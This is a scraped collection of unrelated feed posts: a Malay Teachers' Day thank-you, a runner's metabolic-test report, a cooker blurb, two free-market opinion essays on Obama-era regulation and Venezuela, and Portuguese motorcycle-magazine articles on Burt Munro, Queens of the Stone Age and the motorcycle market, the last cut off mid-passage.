    Nana aka Student Master Comm English: Terima kasih dik atas petua dan teknik belajar english kepada Aqil. banyak yang akak belajar dari kamu. mudahan di pagoh nanti, kamu berhasil lulus cemerlang. xkan ade yang sama macam kamu.
    Ustazah Sharifah : walau sekejap, tapi tiap kali belajar bm, nama ustazah jua yang disebut aqil.
    Ustazah fatimah azzahra : terima kasih atas perkongsian.
    Buat semua guru - guru Aqil Al - Islam di SraiSC :
    Ustazah Hamidah, CIkgu Herly, Cikgu Basmah, Cikgu Junaidah / Junida / Junaihah , Ustaz Azlan, Ustaz Wan, Ustaz Iszham, Cikgu Nor Haizam, Ustaz Hafiz, Cikgu Murni, Ustazah Rahimah, and few others maaf kalau lupa sebut nama.
    Terima Kasih banyak - banyak dan Selamat Hari Guru.
    Buat Semua Guru - Guru Qurratu'aini Al Zahraa' (Ara) di Sri Al - Huda :
    Teacher Asra , Ustazah Pauziah, Ustazah Rabiatul , Ustazah Wan Sufiah, Ustaz Naim, Ustazah Niza, and few others yang lupa dan belum berapa kenal serta tak lupa Ustazah Nurul Aini (guru iqra) :
    Selamat Hari Guru dan Terima kasih sebab mendidik Ara sepanjang 5 bulan pertama ni.
    Akhir sekali buat semua teacher kat Educare yang pernah didik, jaga dan cebok berak kencing Aqil dan Ara :
    Kak Ima Zakima
    Kak Zai Abdullah
    Teacher Aiza Taz Mohd Zain
    Teacher Ilah
    Teacher Aimi
    Teacher Aini
    Teacher Adam
    Ustaz Ikram dan Ustaz Najmi
    Teacher Syikin
    Teacher Anis Hosni
    Teacher Angah
    Teacher Nurul Izzati Abu Bakar
    dan kesemua teacher di childcare yang pernah jaga Ara dari bayi sampai 3 tahun.
    TERIMA KASIH YANG TAK TERHINGGA DAN SELAMAT HARI GURU.
    tak lupa juga buat kawan - kawan sekolah yang dah terjun dalam bidang perguruan : Selamat Hari Guru buat kalian juga.
    p/s: maaflah kali ni ucapan precise sangat.bukan apa, takut lupa.

              Metabolic Assessment        
    I wanted to share the results / process of the metabolic assessment that I had today.

    As I eluded to earlier, last February I began to enter races for this year. I had a long time off from running after neuroma surgery and it just really took a long time for me to be able to run again. 8 months or something dumb like that. Anyhow, that is a long time.  

    When I was able to finally run again, I wanted to run again withOUT pain, withOUT beating myself up. I am also so done with restriction and being hungry all of the time. For years. I just want to run, to feel great, to eat!

    I began to research different training methods when I again came across Maffetone low heart rate training. I remembered that my Dad used Phil Maffetone methods as he trained for Grandma's Marathon in 2000. We ran together and it was so awesome!   I then saw that  my friend, Tracy Hoeg, was training clients using Phil's methods. In February I reached out to her and she was willing to take me on.  At first, in order to keep my heart rate at 140 or under, I had to WALK. I'd run a few steps, and walk. It was disheartening, going so slowly, but it wasn't beating me up, either. Every 3-4 weeks  Tracy had me run a 10 mile MAF test. At first my MAF miles were in the 12-13 minute mile area. I was discouraged. I had to walk some of each mile to keep my heart rate down.  As time went one, I would see great improvement. Pretty soon I was taking off 1:30 each mile, no walk breaks and feeling really good. I couldn't believe that I could run 10 miles, on track, without any ankle pain, without any joint soreness. I had also at this time, added in fats, due to Tracy's and Phil's recommendation.

    I'm excited to preform another 10 mile MAF test next Thursday. 

    So today I had an Active and Rest Metabolic Assessment at LifeTime Fitness, Chanhassen. A friend of mine, Heather, is a trainer there and preforms this test. I was so curious to see how my fat burning has increased. I knew that I was doing pretty well, because at Grandma's last Saturday I ran the whole race at 140 HR, had NO issues, it was hot, I did it on one bottle of UCAN. Incredible. I'm the one who needed one gel every 30 minutes. 

    I had to go into the test fasted. No breakfast, no coffee!  I did fine without the breakfast but the coffee was tough! I stopped at Caribou on the way back from the test.

    Heather hooked me up to a machine, attached a mask and the computer would read the data from my breathing. First was a rested assessment. I sat in a chair, closed my eyes and relaxed for 20 minutes. I learned that I now burn a lot of fat at rest. 96% of my burn is   from fat while at rest.

    We then went to the treadmill. After a warm up she had me run at 5.5 mph, 6, 6.5, 7, 7.5 to watch my fat/sugar burn and define my heart rate zones. I burn most of my fat at below 147 HR.

    I learned that I should eat more calories. My body burns 2180 just breathing. I burn 2834 going through life, without my workout.


    I learned that my VO2 score is 48.7

    My heart rate zones/burn
    It was very informative and I'm glad that I completed the testing. Heather was very thorough and gave me so much data. There is more information that I still have to wade through. Heather really impressed upon me  that I need to eat more food. I have restricted for so many years that this is kind of scary to me but I have made progress. I know that science shows I need to eat more. I'll have another assessment in a few months. It will be fun to compare the data.

    In other news, Steve and I are heading out for a drive vacation out west next month. We'll hit Glacier National Park to camp and hike for a few days and then south to Utah, where I've entered Capital Reef 50K. It begins at 7000feet elevation and much of the race is at 11000feet elevation. It ought to be a great trip, we are looking forward to it!



     


              Gourmia GMC700 Supreme 8-in-1 Digital Multi-Function Cooker Review @gourmia        
    Gourmia.com The Gourmia Supreme 8-in-1 Digital Multi-Function Cooker offers eight functions in one machine which does it all! The Gourmia Supreme 8-in-1 Digital Multi-Function Cooker has been developed as a...
              In Defense of Economic Noninterventionism         

    A recent Wall Street Journal article has surprisingly good news: US companies are seeing the highest profit growth in two years with “two consecutive quarters of double-digit profit growth for the first time since 2011.” This surprisingly comes not from policies pursued in Washington, but the hard work of the private sector.

    The fact that businesses and job creators can make such a phenomenal showing after years of regulatory uncertainty and continued political intervention reminds us of the power of the free market and that the best successes come from the work of the individuals, not collectivists in the public sector.

    Perhaps the best reminding of what the last eight years brought us was President Obama’s infamous 2012 campaign speech “If you've got a business, you didn't build that.” Throughout the course of his administration saw a creation of routine legislative and executive actions that were designed to both micromanage business and supposedly “create” jobs. Unfortunately, none of this had the intended success.

    Most prominently among the actions from the executive administration while Obama was presidents include significantly increased regulations. Among these have included the Waters of the United States Rule (WOTUS), Dodd-Frank, the stimulus package, and, most spectacularly of all, Obamacare. All of these added a large interventions and onerous barriers in the economy that failed to achieve their stated goal.

    WOTUS was probably one of the greatest power grabs by the EPA in recent history. The rule essentially sought to define “navigable waters” in the clean water Act which “brought nearly half of Alaska and a total area in the lower 48 states equivalent to the size of California under the CWA’s jurisdiction.” The proposal, had it not been blocked and rescinded, would have cost thousands of dollars for permits on land that was not previously under the EPA’s jurisdiction, delayed production since a permit can take up to months, and this would have resulted in reduced development and production as well as higher prices.

    Though the WOTUS rule was not fully implemented, regulations that did have a massive negative impact on the economy include the Dodd–Frank Wall Street Reform and Consumer Protection Act.

    As implemented, Dodd-Frank imposed various new regulations on the financial sector, including creating the Consumer Financial Protection Bureau (CFPB), designated firms as systemically important financial institutions (SIFIs), and instituted price controls on debit and credit card transactions. The result was a climate of over regulation with banks being incentivized to become as large as possible in the hopes of being bailed out while the CFPB became a revolving door for lobbyists and influence peddlers to regulate the market with little to no oversight.

    Unsurprisingly, one fifth of the banks in the U.S. banks, totalling 1,708, went under between the law’s creation and 2016, which is about one per day, and by 2015 five large banks controlled 50 percent of the banking industry.

    Outside of simple regulation, there was also so called “jobs creations” programs that were supposed to create jobs the President did not think businesses could such as the stimulus package. The program was sold as a job creation plan that would keep unemployment below 8 percent for the low price of $830 billion.

    The next four years were marked by above 8 percent unemployment while the money ended up being wasted on worthless projects, including trees in wealthy neighborhoods, a study of erectile dysfunction, and the failed company solyndra which was run by a bundler for the Obama campaign. To make matters worse, though unemployment eventually went down long after the stimulus’s implementation, the labor participation rate reached its lowest in 38 years which shows that people still weren’t working.

    However, the crowned jewel of overregulation and job destruction during the Obama administration was ObamaCare. Implemented to expand health insurance coverage, it has repeatedly failed to reach its goals as premiums went up, enrollment failed to reach its projections, and the legislation gave corporate welfare (including promised bailouts) to the insurance lobby. In the end, most of the coops failed and major companies pulled out of the exchanges, resulting in 1,000 counties, including five whole states, only having one insurer, a major failure in the goal of expanded coverage.

    Inevitably, the phenomenal intervention in the economy by President Obama failed to achieve the job creation while it instead made made doing business that much harder. With record breaking numbers of regulations, Obama was the first President since the Great Depression to never see 3 percent GDP growth.

    The Trump administration in the meantime has pursued a different approach than its predecessor. The Trump administration has seen sixteen regulations cut for every one it has created, had signed four resolutions of disapproval under the Congressional Review Act to overturn regulation within two months as President, and rolled back the clean power plan which could have cost $40 billion per year. All of this marks a significant change in policy that will greatly open up business opportunities and expand economic growth.

    However, policy alone does not explain why there has been high profit growth for the last two quarters. As the Wall Street Journal article admits, health care legislation and tax reform have been stalled in the senate. This has caused a climate of uncertainty which businesses have not been happy with.

    Nevertheless, they have instead moved on from Washington and instead remained focused on doing business. Political events seem to have taken a backseat to actual business as the number of S&P 500 companies have mentioned the President or his administration during conferences is down by a third as the research firm Sentieo found out. To be blunt, the involvement of Washington and government policy is not driving the current profit growth and the lack of involvement may actually be increasing it.

    For a better example of how reduced involvement can improve the economy, look no further than the Depression of 1920. At the time, war time debt had exploded, unemployment peaked at 11.7 percent in 1921, and inflation rates jumped above twenty percent. It had the potential to be even more catastrophic than the Great Depression that started in 1929.

    However, the policies pursued were entirely different. The federal budget was severely reduced from $18.5 billion in FY 1919 to $3.3 billion for FY 1922. Taxes at the same time were cut by about 40 percent.

    As a result, unemployment dropped to 2.3 percent by 1923 and a crisis had been averted. This was accomplished not by bailouts and and overregulation but by getting the government entirely out of the way. This is a radically different approach than was pursued during the financial panic of 2008 or even the Great Depression.

    Overall, there has been a repeated belief that government involvement has made economic advancement harder. As was stated by former President Reagan, “Government is not the solution to our problem; government is the problem.” President Kennedy noted the same when he said “Our tax system still siphons out of the private economy too large a share of personal and business purchasing power and reduces the incentive for risk, investment and effort — thereby aborting our recoveries and stifling our national growth rate.”

    It should come as no surprise then that business are fully prepared to run their own affairs and is best capable to address its own need, for as JP Morgan Chase CEO Jamie Dimon noted, “We’ve been growing at 1.5% to 2%...because the American business sector is powerful and strong and is going to grow regardless.”

    It remains the desire of others that the government should intervene in the economy to make improvements. However, this has always resulted in guaranteed failure. Be it raising the minimum wage in Seattle or increased taxation and regulations in Connecticut, the result is usually lackluster growth and decreased jobs. At the national level, Venezuela’s nationalization and China’s increased infrastructure projects have created the same results, which is to say none.

    As history and current events have shown time and time again, the best results come not from government involvement and micromanagement, but from the hard work of free individuals in free markets. More and more, the adaptability of businesses to their consumer’s demands and their ability to whether adversity in the marketplace has always been more efficient than the micromanagement the state perceives. As a result, sometimes the best thing to do is to have the government do nothing so that those who can make the economy better will.


              Venezuela is Socialism's Last Nail in the Coffin        

    From a so-called “economic miracle” to a human rights disaster, Venezuela has followed in the footsteps of literally every single socialist or communist country ever with its country in complete collapse. Crime is on the rise, the people are starving, protests are going all throughout the country, and unconfirmed rumors are coming out that President Nicolas Maduro is considering leaving.

    In the never ending desire to achieve an impossible utopia, Venezuela is living in a nightmare that may serve as the best evidence against government mismanagement.

    To be blunt, the people are starving. Roughly 75 percent of the country lost 19 pounds in 2016. This actually coincides with reports that Venezuelans were looking for food in the trash.

    It is not just food that Venezuelans seem to be running out of at the moment. The country is lacking medicine, toilet paper, and even goods for religious sacraments as well. All sorts of goods are disappearing from the country faster and faster.

    Meanwhile, their economy is in complete shambles. At the start of the year, inflation had hit 800 percent while their GDP had shrunk by 19 percent. To make matters worse, 2016 marked its third year of recession.

    Of course, the elite of the country have not seemed to notice the problems their citizens are facing. Accusations fly of the leaders of Venezuela living luxurious lifestyles despite the recession. Unsurprisingly, reports have the daughter of Venezuela’s last President Hugo Chavez at a networth of $4.2 billion.

    So the big question is: why is Venezuela falling apart? The simplest answer is government mismanagement as it started taking over the economy. Under the watch of Socialists Hugo Chavez and his successor Nicolas Maduro, the socialist leadership in the country has greatly increased its influence in economic affairs, resulting in decreased investment, business failures, and scarcity.

    Over the past decade and a half, the Venezuelan government has nationalized multiple industries, including oil, agriculture, finance, steel, electricity, and telecommunications. Unsurprisingly, this led to significant ruin in the various industries it controlled, especially oil. Case in point, the Chavez regime largely underfunded the investment necessary to bring about increased oil production.

    Large portions of oil revenues were transferred to generous social programs but there was lackluster reinvestment to make sure that more oil was produced to keep revenue flowing. As a result, oil production starting dropping consistently after 2007 which saw a major decline in revenue (and helped lead to the debt that caused hyper inflation). Additionally, Chavez demanded more money from oil companies investing in the country and the ones that refused saw their assets seized. With such a clear lack of respect for human rights, it should come as no surprise that foreign investment has been on the decline recently in the country which is also hurting business and revenue.

    To make matters worse, many workers were fired and replaced with government loyalists. In one case, a company that had never created an oil well was hired to create several since it had ties to the government. The lack of experienced workers unsurprisingly has also added to the decline of the oil industry that was a huge part of the government’s revenue.

    Just about every industry the government has touched has fallen apart. Steel production was reduced by 70 percent after it was nationalized, food production has been on the decline while the government redistributed farmland for the production of food the land was not suited for, and the Venezuelan government is instituting blackouts to reduce consumption to reduce electricity use due to decreased supply. Overall, it seems Venezuela is in the process of running its economy into the ground.

    Venezuela has also added newer regulations and laws to improve the economic situation of its country that had the opposite effect. Case in point, the minimum wage was increased recently by 50 percent despite the fact overall wages still decreased by 17 percent. Other reports have increased labor protections actually hurting business while price controls that were implemented to reduce profits and keep prices low also helped to reduce food productions which also helped cause the food crisis. With all this in mind, it should come as no surprise that the number of businesses in Venezuela has gone down from 800,000 in 1998 to 230,000 in 2016, a decline of 570,000.

    It is important to remember though that none of this should even be looked at as being done as a love for the people from the state. As was noted by a former education minister, the goal of the people reforms is “‘not to take the people out of poverty so they become middle class and then turn into escuálidos’ (a derogatory term to denote opposition members).” Translation: it’s not for their benefit but to create a dependent class of supporters.

    For more evidence of how the government does not care about its people, look no further than its human rights records. The Maduro government has been seizing power by stacking the courts with supportive justices and then met the protests against that with violent crackdowns on dissenters. Meanwhile, accusations of sham elections are now flying in the wake of an election referendum to give him the power to rewrite the country’s constitution. In the end, the increase in power has come to the detriment of the people backed by phony promises.

    As is always the case, the promise of helping the people through government intervention completely falls apart. Just like with China and Russia, the result is always economic ruin with the well connected few reaping the benefits. Unfortunately, the US is not free from these mistakes as states like Connecticut or cities like Seattle implementing their own interventions in the economy that results in disaster. If the US wants to head down the path same economic path as Venezuela that leads to destruction and corruption, it will inevitably end there.


              A INDIAN MAIS RÁPIDA DO MUNDO        
    Nº207 MOTOCICLISMO Julho 2008
    Os sonhos, tal como as motos, também se tornam clássicos e míticos. Este, de transpor o recorde de velocidade, apesar de recorrente, não está ao alcance de qualquer um. É só para quem não tenha medo de arriscar.

    Burt Munro é o homem sobre quem escrevemos. Um neo-zelandês sexagenário, com alguns hábitos de eremita, mas um fervoroso entusiasta dos motores e da velocidade. O seu principal hobby consistia em estar constantemente a modificar a Indian Scout dos anos 20 que tinha na garagem, competindo, de quando em vez, com outros racers de montadas mais modernas. Assim era para que pudesse cumprir um sonho maior: o de competir com a sua moto em Bonneville Salt Flats com o fito de superar recordes de velocidade. Apenas por paixão. A vida desta personagem real já serviu de inspiração para, pelo menos, dois livros. George Begg escreveu em 2002 “Burt Munro: Indian Legend Of Speed” e, Tim Hanna, em 2006, fez editar "One Good Run: The Legend of Burt Munro". Contudo, pelo meio, em 2005, surge o filme “The World’s Fastest Indian”, protagonizado por Anthony Hopkins e realizado por Roger Donaldson que, de uma forma livre, nos reconta a senda de Burt Munro para perseguir e realizar o seu sonho. É sobre esse registo que pretendemos dar conta neste texto.

    Burt era um cidadão admirado na sua comunidade. Era afável, educado e respeitado, tendo sido, inclusivamente, distinguido pela publicação “Popular Mechanics”, em 1957, por a sua moto ser a mais veloz da Austrália e Nova Zelândia. Porém, ambicioso como era, distinções como essa só lhe aumentavam ainda mais o desejo de competir em Bonneville. Este projecto audacioso envolveu o dispêndio de todas as suas economias, fruto de uma vida inteira de trabalho.

    Poucos dias antes da partida, é-lhe diagnosticado um grave problema de coração, sendo aconselhado pelo médico a deixar, pura e simplesmente, de competir. Burt não podia ter dado maior desprezo às palavras do médico. Uma vida pacata, de roupão e chinelos, sem a adrenalina das motos e da velocidade não era para si. Com o descrédito de muitos dos seus conhecidos, mas com o voto de confiança dos que lhe estavam mais próximos, Burt Munro e a Indian Scout embarcaram rumo aos Estados Unidos. Estávamos em 1962.

    Depois das muitas peripécias que o filme nos apresenta, Burt Munro chega finalmente a Bonneville, mesmo a tempo de participar na famosa Speed Week. Bonneville fica no estado de Utah, e as Salt Flats são grandes superfícies secas que outrora haviam sido enormes lagos salinos. Esta, concretamente, tem cerca de 412km2, e é uma superfície tão plana que acompanha com precisão a curva do globo terrestre. Como local extenso e inóspito que é, tornou-se perfeito para atingir as grandes velocidades que Burt ambicionava.

    Apesar da sua patologia clínica em nada o ajudar, contra todos os prognósticos, Burt estableceu o recorde de 288km/h na sua Indian com o motor de 850cc. Uma moto que nem travões de disco tinha, e cuja ciclística era um misto de foguetão artesanal com bicicleta a pedais. Mas sobreviveu! De tal maneira que no ano seguinte regressou e atingiu os 305.88km/h (não oficial). Em 1967, Burt estabeleceu o recorde mundial de 295.45km/h com a sua Indian Scout a atingir uma capacidade de 950cc. Este feito ainda hoje perdura.

    De todas as vezes que Burt se deslocava a Bonneville, a sua “dream-team” era um grupo de entusiastas que o apoiava como podia e sabia. Os recursos eram escassos, e as necessidades eram muitas. Havia que gerir tudo com parcimónia. Compensava a boa vontade, que essa era de sobra. Como mais tarde confidenciou: «Na última vez em Los Angeles arranjei um furgão por 90 dólares. Era a sede da equipa Indian».

    Burt faleceu em 1978, com 79 anos. O seu exemplo de coragem e tenacidade ficará para sempre. A Indian Scout, que foi sua durante 57 anos, e com a qual estabeleceu novos limites para a ousadia, está hoje na posse de um entusiasta de longa data em South Island.

    INDIAN SCOUT
    Engenheiro responsável pelo projecto: Charles Franklin
    Produção: 1919-1930
    Cilindrada: 596cc
    Motor: bicilíndrico em V, 42º com válvulas laterais
    Caixa: 3 velocidades
    Transmissão: corrente
    © Todos os direitos do texto estão reservados para MOTOCICLISMO, uma publicação da MOTORPRESS LISBOA. Contacto para adquirir edições já publicadas: +351 21 415 45 50.
    © General Moto, by Hélder Dias da Silva 2008

              QUEENS OF THE STONE AGE - OS REIS DO STONER ROCK        
    Nº72 MOTO REPORT Dezembro 2007
    Stoner Rock é um subgénero do rock, caracterizado por possuir riffs de guitarra graves e lentos, com grande influência do psicadelismo lisérgico dos anos 70. Os QOTSA serão talvez a banda mais emblemática deste movimento do rock alternativo. Os seus temas são intensos e vigorosos, tal como o som de uns drag pipes num motor V2.

    Josh Homme, Nick Oliveri, John Garcia e Alfredo Hernandez formaram uma banda californiana chamada Kyuss que, após ter sido apadrinhada pelo produtor Chris Goss, saiu do completo anonimato para se tornar numa referência da cena heavy-metal americana, chegando inclusivamente a figurar como o principal ícone do stoner rock à época. No entanto, apesar da popularidade, os Kyuss dissolvem-se em 1995. O líder e guitarrista, Josh Homme, muda-se nessa altura para Seattle para ingressar na formação dos Screaming Trees, como segundo guitarrista, durante a digressão do álbum Dust de 1996. A banda participa na última edição do festival Lollapalooza, tocando ao lado de bandas como os Sound-garden e os Metallica. A partir de 1997, com as actividades dos Screaming Trees tornam-se cada vez mais esparsas, Josh encontra o tempo suficiente para trabalhar num projecto próprio. Foi o início da série “Desert Sessions”, iniciativa que lhe permitiu expressar-se com maior liberdade, no mais puro experimentalismo. “Desert Sessions” foram sessões experimentais de estúdio, criadas por Josh Homme em parceria com músicos de diversas bandas de rock americanas, com a intenção de compor novas músicas, porém sem fins comerciais. As gravações iniciaram-se em Agosto de 1997 e foram feitas num estúdio que ficou conhecido como Rancho De La Luna, na cidade de Joshua Tree, localizada num deserto no interior do estado da Califórnia (terra natal de Josh Homme). Foram seis álbuns extraídos das “Desert Sessions” que, mesmo sem objectivos comerciais, acabaram por ser lançados mais tarde pela editora independente Man’s Ruin Records. Na sequência das “Desert Sessions”, Josh resolve formar outra banda, os QUEENS OF THE STONE AGE. Com a ajuda do baterista Alfredo Hernandez, Josh retorna à região do deserto californiano para trabalhar o som da nova banda. Embora o som dos QOTSA, à primeira impressão, relembre os Kyuss, fica bem claro que se trata de uma proposta diferente, com uma sonoridade mais eclética. O primeiro disco (homónimo) foi financiado pela própria banda e acabou por ser lançado em Setembro de 1998 pela editora Loosegroove, de Stone Gossard, guitarrista dos Pearl Jam. O álbum teve uma repercussão impressionante e ajudou a fixar o nome dos QOTSA como uma das grandes promessas emergentes do rock alternativo. A banda esteve em digressão durante quase dois anos, tocando com grandes nomes como Bad Religion, Rage Against the Machine, Smashing Pumpkins, Hole e Ween. Em Junho de 2000, os Screaming Trees terminam, deixando Josh exclusivamente dedicado aos QOTSA que, de volta a Palm Desert, trabalhou no seu segundo álbum que contaria com várias participações especiais. No mesmo mês foi lançado “Rated R”, desta vez pela Interscope. O disco que possui, entre outras, as participações de Mark Lanegan e Barrett Martin dos Screaming Trees, Rob Halford dos Judas Priest e Pete Stahl dos Scream e Goatsnake, é recebido com entusiasmo pela crítica, mas não atinge grandes cifras de vendas, apesar de conter canções candidatas a hit, tal como “Feel Good Hit of the Summer” e “The Lost Art of Keeping a Secret”. Para o segundo disco, os QOTSA contaram com a participação de dois bateristas: Gene Troutman e Nicky Lucero. Finalizado este trabalho, os Queens of the Stone Age embarcaram em mais uma exaustiva tournée de dois anos pelo mundo fora, incluindo uma memorável apresentação no Rock in Rio em Janeiro de 2001, onde Nick Oliveri se apresentaria em palco completamente nu. No ano seguinte a banda já estava em estúdio a preparar o seu terceiro disco. Mark Lanegan integra definitivamente o colectivo como segundo vocalista, enquanto que, na bateria, a banda contaria com a participação do ilustre Dave Grohl, ex-Nirvana e líder dos Foo Fighters. Com o disco pronto, os QOTSA, encetam mais uma tour com Lanegan e Grohl. “Songs for the Deaf” é lançado em Agosto e o sucesso entre público e crítica é quase unânime. Em 2004, a banda passa por uma fase mais complicada. Depois de Dave Grohl retornar aos Foo Fighters (lançando logo após um disco que possui influências bem expressivas do seu período na banda de Josh Homme), Joey Castillo assume as baquetas do grupo. Contudo, haveriam mais baixas: Josh resolve demitir Nick Oliveri, alegando estar cansado do comportamento completamente irresponsável do baixista. Mark Lanegan aproveita e também abandona a banda. É lançado o EP “Stone Age Complications”, numa tentativa de abafar a turbulência, enquanto Josh Homme tenta reorganizar a banda para gravar o 4º álbum. É então lançado “Lullabies to Paralyze” e com ele surge uma proposta diferente dos QOTSA. Embora muita da ferocidade da banda tenha sido suprimida neste trabalho, é trazida à tona toda a capacidade dos restantes membros comporem melodias mais densas, sombrias e perturbadoramente pesadas. Com o line-up refeito, Josh Homme, Alain Johannes (multi-instrumentista que já tinha colaborado nas Desert Sessions com Chris Cornell), Troy Van Leeuwen (guitarrista, ex-A Perfect Circle), Natasha Shneider e Joey Castillo saem em digressão internacional. Momentos marcantes dessa época são: a gravação do MTV Akustik Session em Berlim, a reunião com John Garcia (exvocalista dos Kyuss) para um concerto, cantando canções da antiga banda, e a gravação do primeiro CD/DVD ao vivo “Over The Years And Through The Woods” em Londres. Devido ao adiamento de dois concertos nesta cidade, os músicos decidiram presentear o público com um EP contendo a faixa inédita “The Fun Machine Took A Shit & Died”, supostamente “perdida” durante as gravações de “Lullabies to Paralyze”. De regresso aos EUA, Josh Homme e Brody Dalle (vocalista e guitarrista dos The Distillers) tiveram uma filha e, na altura, pouco se sabia sobre o que a banda faria a seguir. No entanto, no segundo semestre de 2006, os QOTSA entram em estúdio para gravar seu 5º álbum, novamente com a produção de Chris Goss. O álbum, intitulado “Era Vulgaris”, é finalizado em Março de 2007. Rumores indicariam que Alain e Natasha haviam decidido voltar as suas atenções para a sua banda original, Eleven. Mais uma vez ocorreram boatos de que Oliveri voltaria ao grupo, muito em função da interrupção abrupta dos concertos da sua actual banda, Mondo Generator. Entretanto, os zunzuns foram desmentidos após a contratação de Michael Shuman, dos Wires On Fire. O novo álbum tem colaborações de Jesse Hughes (dos Eagles Of Death Metal), Trent Reznor (dos Nine Inch Nails) e Julian Casablancas (dos Strokes). Billy Gibbons (dos ZZ Top) e Mark Lanegan asseguram também a sua participação como convidados.

    Formação actual:
    Josh Homme – Voz, guitarra e baixo
    Troy Van Leeuwen - guitarra, baixo e
    Lap Steel
    Joey Castillo – bateria
    Michael Shuman – baixo
    Dean Fertita – teclas

    Discografia
    (1998)
    Queens of the
    Stone Age
    (2005)
    Over The Years
    And Through The
    Woods
    (2005)
    Lullabies to
    Paralyze
    (2002)
    Songs for the Deaf
    (2000)
    Rated R
    (2007)
    Era Vulgaris
    © Todos os direitos do texto estão reservados para MOTO REPORT, uma publicação da JPJ EDITORA. Contacto para adquirir edições já publicadas: +351 253 215 466.
    © General Moto, by Hélder Dias da Silva 2008

              MERCADO MOTOCICLÍSTICO        
    Nº262 ANECRA Maio 2007
    Nº67 MOTO REPORT Julho 2007 (com autorização)
    O mercado dos motociclos, quando encarado sobre uma perspectiva global, surge como um aliado natural de toda a indústria automóvel e não como um concorrente desse mesmo sector. Veja-se o caso dos fabricantes que constroem, simultaneamente, carros e motos. O exemplo é auto-explicativo. Do ponto de vista do consumidor, estes dois produtos finais (o automóvel e o motociclo) são, na maioria das vezes, bens complementares. Hoje em dia, as necessidades profissionais, familiares e recreativas podem, perfeitamente, apelar à coexistência pacífica destes dois tipos de veículos. O que nos confirma de sobremaneira a conclusão antecipada de início. Perante esta constatação de facto, optámos por efectuar uma análise ao mercado desde 1999 (o ano do “boom” nas vendas) até ao ano transacto. Convidamo-lo, então, a tomar o pulso a este ramo de actividade, que já conheceu melhores dias, mas que, com uma aposta consciente de todos os seus intervenientes (directos e indirectos), poderá recuperar o ritmo outrora alcançado. Assim todos saibam investir, promover, gerir, legislar, fiscalizar e apoiar.

    Situação Económica Nacional
    A Economia Internacional lida, actualmente, com a escalada do preço do petróleo nos mercados internacionais. Uma situação que vem sendo recorrente desde a década passada. Em rigor, questões por resolver, como sejam a do Iraque ou a da ameaça – algo dissimulada, porém omnipresente – do Irão ou, até mesmo, da Coreia, continuam a ter repercussões nefastas na economia global. Os barões da indústria de extracção e transformação do crude encontram nestes pretextos - mais até do que na própria escassez do produto - excelentes formas de exercer especulação, com consequências a nível mundial e que todos nós percepcionamos diariamente. Por outro lado, a concorrência de economias em crescimento, como sejam a chinesa ou a dos países do leste europeu, faz-se sentir veementemente. Estes países são – devido a conjunturas várias – altamente competitivos e, nos últimos anos, têm penetrado com eficácia e também com eficiência nos domínios da cultura, da sociedade e, principalmente, da economia europeia. A União Europeia (UE) apresenta uma subida constante do PIB, com excepção feita a 2005, e esta tendência de crescimento cimentou-se num efectivo aumento do consumo privado, coadjuvado pela redução drástica da despesa pública. A taxa de inflação ficou-se pelos 2,2%, em 2005, e, no mesmo ano, o desemprego atingiu os 8,6%. Por contraponto, os EUA apresentam 3,4% e 5,1%, respectivamente. O PIB americano manifesta tendência análoga à europeia, ocorrendo, inclusivamente, o mesmo fenómeno de redução da despesa pública e reforço do consumo privado. A Economia Nacional tem demonstrado grande dificuldade em resistir à negativa conjuntura internacional. Por ser pequena e aberta, torna-se naturalmente permeável ao contexto externo. Deste modo, o PIB, no período em análise, apresentou um crescimento global de cerca de 20%. Contudo, o investimento exibiu um decréscimo significativo (a rondar os 5%). O consumo, esse sim, aumentou avidamente, sendo que a taxa de crescimento se cifrou nos 25% para o sector privado e nos 30% para o sector público. Perante estes indicadores, é possível inferir que o recurso à banca foi o agente eleito para acelerar o consumo, já que o investimento decresceu e o PIB não acompanhou a evolução da despesa. Portugal continua também com as importações a terem um peso superior ao das exportações, sendo que 2003 foi o ano onde a diferença mais se esbateu. Já o Investimento no Estrangeiro conheceu uma drástica diminuição (para menos de metade). Igual tendência para o desinvestimento tem acontecido em relação às decisões do estrangeiro em investir em Portugal. Todavia, a taxa de decréscimo ficou-se pelos 10% O saldo da Balança Corrente é negativo, com agravamento desde 2003. A Dívida Pública apresenta um crescimento sustentado, a par da Taxa de Desemprego. E o mercado de trabalho é precisamente um reflexo de tudo o que para trás foi enunciado. Para clarificar este ponto, refira-se que o número de desempregados, em 2005, era o dobro do que havia em 2000. Evidentemente que este fenómeno, para além do flagelo social que dissemina, gera também uma sobrecarga ao nível da despesa pública por via do dispêndio de verbas por parte da Segurança Social. O que, em abono da verdade, contribui negativamente para cumprir o Pacto de Estabilidade e Crescimento. Já a Inflação apresenta oscilações entre o crescimento e o seu inverso. Até 2002 a tendência foi para o aumento do indicador, e daí para cá veio paulatinamente a reduzir, estimando-se que para 2006 o valor a apurar comute a orientação. Conclui-se, portanto, que as reformas levadas a cabo pelo Governo com o intuito de conter os custos, e que passam por uma racionalização da despesa pública, levarão o seu tempo a produzir os efeitos esperados. Até lá, Portugal é um país deprimido, envolto num pessimismo generalizado, e profundamente descrente da tão desejada retoma.

    Evolução das Vendas de MOTOCICLOS em Portugal
    O ano de 1999 permanece, até à data, como um marco muito positivo em termos de vendas de motos. Desde então, o número de matrículas novas tem vindo a decrescer. Esta tendência manteve-se até 2003, sendo que, no ano seguinte, ocorreu uma tímida recuperação. Os anos de 2006 e 2005 foram sinónimo de altos e baixos, respectivamente, sendo que, e em suma, os últimos três anos apresentam valores muito próximos. O mês de Janeiro de 2007 destaca-se o do seu homólogo do ano anterior, com vendas totais superiores em 50%. A KEEWAY é o construtor que mais cresceu. Analisando os recordistas de vendas em Portugal, constatamos que, de entre os 10 primeiros, quatro fabricantes são europeus, outros tantos são nipónicos (historicamente as marcas mais comercializadas), um é norte-americano e outro é coreano. Neste ponto, surge um dos sinais mais evidentes: o emergente mercado de exportações do eixo Coreia - China. De um ano para o outro, a KEEWAY passou de nove para 490 motos, e, só em Janeiro de 2007, vendeu quase 25% do volume atingido em 2006. Esta categoria está relacionada com as motos, ainda que tangencialmente. Vejamos o que nos diz o n.º4 do artigo 107º do Código da Estrada: «Quadriciclo é o veículo dotado de quatro rodas, classificando-se em: Ligeiro: veículo com velocidade máxima, em patamar e por construção, não superior a 45 km/h, cuja massa sem carga não exceda 350 Kg, excluída a massa das baterias no veículo eléctrico e com motor de cilindrada não superior a 50 cm3, no caso de motor de ignição comandada, ou cuja potência máxima não seja superior a 4 KW, no caso de outros motores de combustão interna ou de motor eléctrico; Pesado: veículo com motor de potência não superior a 15 KW e cuja massa sem carga, excluída a massa das baterias no caso de veículos 